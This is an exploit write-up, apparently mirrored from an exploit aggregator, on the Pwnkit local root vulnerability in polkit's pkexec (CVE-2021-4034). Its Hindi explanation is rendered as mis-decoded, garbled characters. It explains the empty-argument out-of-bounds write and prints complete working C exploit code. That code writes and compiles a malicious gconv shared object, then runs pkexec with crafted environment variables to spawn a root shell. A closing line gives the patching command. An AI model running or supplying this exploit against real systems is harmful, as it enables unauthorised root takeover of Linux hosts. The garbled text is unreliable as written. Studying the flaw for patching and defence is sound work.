## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LUCASPDINIZ-CVE-2021-4034
# Pwnkit рднреЗрджреНрдпрддрд╛ - CVE-2021-4034 ЁЯУЧ
### рдкрд░рд┐рдЪрдп
2021 рдореЗрдВ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рд▓реЗрдХрд┐рди рдЬрдирд╡рд░реА 2022 рдореЗрдВ рдШреЛрд╖рд┐рдд рдФрд░ рдЦреБрд▓рд╛рд╕рд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛, **CVE-2021-4034** рдХреЛ рдкреНрдпрд╛рд░ рд╕реЗ Pwnkit рдирд╛рдо рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рд▓рдЧрднрдЧ рд╕рднреА OS - Linux рд╡рд┐рддрд░рдгреЛрдВ рдореЗрдВ **Policy Toolkit - Polkit рдкреИрдХреЗрдЬ** рдХреЗ рд╕рднреА рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рдпрд╣ рднреЗрджреНрдпрддрд╛ рдХрд┐рд╕реА рднреА рдмрд┐рдирд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЕрдкрдиреА рдкрд╣реБрдБрдЪ рдХреЛ OS рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рддрдХ рд▓рдВрдмрд╡рдд рд░реВрдк рд╕реЗ рдмрдврд╝рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред
> [!IMPORTANT] рд╣рдо рдпрд╣ рднреЗрджреНрдпрддрд╛ pkexec рд╕рдВрд╕реНрдХрд░рдг 0.105 рдпрд╛ рдЙрд╕рд╕реЗ рдкрд╣рд▓реЗ рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ рдЕрддреНрдпрдВрдд рдЧрдВрднреАрд░ CVE рд╣реИ, рдЬрд┐рд╕реЗ **NIST.GOV** рдХреЗ рдЕрдиреБрд╕рд╛рд░ **7.8 рдЕрдВрдХреЛрдВ рдХреЗ CVSS рд╕реНрдХреЛрд░** рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд░реНрдЧреАрдХреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЕрд░реНрдерд╛рдд рдЗрд╕реЗ рджреВрд░рд╕реНрде рд░реВрдк рд╕реЗ (Web рдкрд╣реБрдБрдЪ) рд╢реЛрд╖рд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред

### Polkit рдХреНрдпрд╛ рд╣реИ тЭУ
Polkit Linux рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИред рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдРрд╕рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдХрдо рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕реЗ рдХреЛрдИ рдРрд╕рд╛ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ), polkit рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐ рд╣реИ рдпрд╛ рдирд╣реАрдВред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, PKexec рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЗ рд╕рд╛рде, рд╣рдо polkit рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЕрдиреБрдорддрд┐ рдХреА рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдпрджрд┐ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ рддреЛ рдкрд╛рд╕рд╡рд░реНрдб рдкреВрдЫрддрд╛ рд╣реИред рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЙрджрд╛рд╣рд░рдг рдореЗрдВ рд╣реИ;

## рдЕрдиреНрд╡реЗрд╖рдг рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ тЪая╕П
рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, Pwnkit рднреЗрджреНрдпрддрд╛ PKexec рдореЗрдВ (рдЕрдиреБрдорддрд┐ рдЬрд╛рдБрдЪ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ) рдореМрдЬреВрдж рд╣реИ, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП, рдЬрдм PKexec рдХреЛ рдХрдорд╛рдВрдб рд▓рд╛рдЗрди (CLI) рджреНрд╡рд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдорд╛рдкрджрдВрдбреЛрдВ рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдореЗрдВ рдХреЛрдИ рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рдЬрд╣рд╛рдБ рдпрд╣ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдФрд░ **"Out-of-Bounds Write"** рдирд╛рдордХ рдПрдХ рджреЛрд╖ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред
PKexec рдХрд┐рд╕реА рднреА рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рддрд░реНрдХ рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рдЗрд╕реЗ for-loop рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреЗрддреЗ рд╣реИрдВ, рдЬреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рдирд╛рдо рдХреЛ рдСрдлрд╕реЗрдЯ рдХрд░рдиреЗ рдФрд░ рдкрд╣рд▓рд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рддрд░реНрдХ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдВрдбреЗрдХреНрд╕ 1 рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛ рдирд╛рдо рддрд░реНрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдЕрдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЕрдиреБрдХреНрд░рдордг рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╕ рдСрдлрд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рд╣рдо рдХреЛрдИ рддрд░реНрдХ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЗрдВрдбреЗрдХреНрд╕ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ 1 рдкрд░ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред
рдЖрдЗрдП рдиреАрдЪреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдмрдирд╛рдПрдБред
root@kitploit:~
for(n=1; n < number_of_arguments; n++){
}
рдпрджрд┐ рддрд░реНрдХреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ 0 рд╣реИ, рддреЛ 'N' рдХрднреА рднреА рддрд░реНрдХреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рд╕реЗ рдХрдо рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред рдЗрд╕ рдкреНрд░рдХрд╛рд░, 'N' рдПрдХ рдХреЗ рдмрд░рд╛рдмрд░ рд░рд╣рддрд╛ рд╣реИ рдФрд░ рд▓реВрдк **рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдмрд╛рдпрдкрд╛рд╕** рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реВрдк рдирд╣реАрдВ рдЪрд▓реЗрдЧрд╛ред
рдЪреВрдБрдХрд┐ рдХреЛрдИ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рддрд░реНрдХ рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВ, рдЗрдВрдбреЗрдХреНрд╕ n рдкрд░ рдХреЛрдИ рддрд░реНрдХ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ тАФ рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдореЛрд░реА рдореЗрдВ рдЕрдЧрд▓реА рдЪреАрдЬрд╝ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐ рд╕рдВрдпреЛрдЧ рд╕реЗ execve() рдирд╛рдордХ C рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдкрд░ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреА рд╕реВрдЪреА рдореЗрдВ рдкрд╣рд▓рд╛ рдорд╛рди рд╣реЛрддрд╛ рд╣реИред рджреВрд╕рд░реЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ, PKexec рдХреЛ рддрд░реНрдХреЛрдВ рдХреА рдПрдХ рд╢реВрдиреНрдп рд╕реВрдЪреА рджреЗрдХрд░, рд╣рдо рдЗрд╕реЗ рдПрдХ рдкрд░реНрдпрд╛рд╡рд░рдг рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
## рдЖрдЗрдП рдЕрдиреНрд╡реЗрд╖рдг рдХрд░реЗрдВ !!! тЬПя╕П
рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдЗрдВрдЯрд░рдиреЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИрдВред рд╕рдордп рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрдкрдиреЗ рдорд┐рддреНрд░ **Arthepsy's** рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреА рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА C рдореЗрдВ рдмрдирд╛рдИ рдЧрдИ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред
рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ `GCONV_PATH` рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╕рд╛рдЭрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ /bin/sh рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред
Arthepsy - CVE-2021-4034 - exploit.c
рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рднреЗрджреНрдп рд╣реЛрд╕реНрдЯ рддрдХ рдЖрдкрдХреА рдкрд╣реБрдБрдЪ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВрдЧреЗред

рд╣рдорд╛рд░реЗ рдкрд╛рд╕ UID 1000 рд╡рд╛рд▓рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реИ (root рдирд╣реАрдВ) рдФрд░ рд╣рдо рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХреАрдп рдХрд╛рд░реНрдпреЛрдВ, рдЬреИрд╕реЗ рдХрд┐ Useradd, рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред
* рдЖрдЗрдП рдЬрд▓рд╛рдПрдБ ЁЯФе

рд╣рдореЗрдВ root рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдорд┐рд▓ рдЧрдИ рдФрд░ рд╣рдо Useradd рдЬреИрд╕реЗ рдХреБрдЫ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣реЗ (рддреНрд░реБрдЯрд┐ рдХрд┐рд╕реА рдЕрдиреНрдп рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддреА рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ root рдХреЗ рд░реВрдк рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдереЗ)ред
рдкреВрд░реНрдг тЬФя╕П
## рдереЛрдбрд╝рд╛ рдФрд░ рд╡рд┐рд╢реНрд▓реЗрд╖рдг ЁЯТб
рдЗрд╕ рдЕрдиреНрд╡реЗрд╖рдг рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдиреАрдЪреЗ рджреА рдЧрдИ рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ;
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
рдпрд╣ рдореВрд▓ рд░реВрдк рд╕реЗ рдкрд╣рд▓реЗ рдЪрд░реНрдЪрд┐рдд PKexec рддрд░реНрдХреЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ `GCONV_PATH` рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЛ /bin/sh рдХреЗ рд╕рд╛рде рдкреБрдирд░реНрд▓реЗрдЦрд┐рдд рдХрд░рддрд╛ рд╣реИ рддрдерд╛ stuid(0) (root) рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИред
## рдкреИрдЪрд┐рдВрдЧ тЬЕ
OS рдкреИрдХреЗрдЬ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рд╣реА рдХрд┐рдП рдЧрдП рд╕рдВрд╕реНрдХрд░рдг рдЙрдкрд▓рдмреНрдз рд╣реИрдВ, рдХреЗрд╡рд▓ `sudo apt update && sudo apt upgrade` рдХрдорд╛рдВрдб рдЪрд▓рд╛рдХрд░, рдЖрдкрдХреЗ рд╕рд┐рд╕реНрдЯрдо рдХреА рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдареАрдХ рдХрд░рдирд╛ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╕рдВрднрд╡ рд╣реИред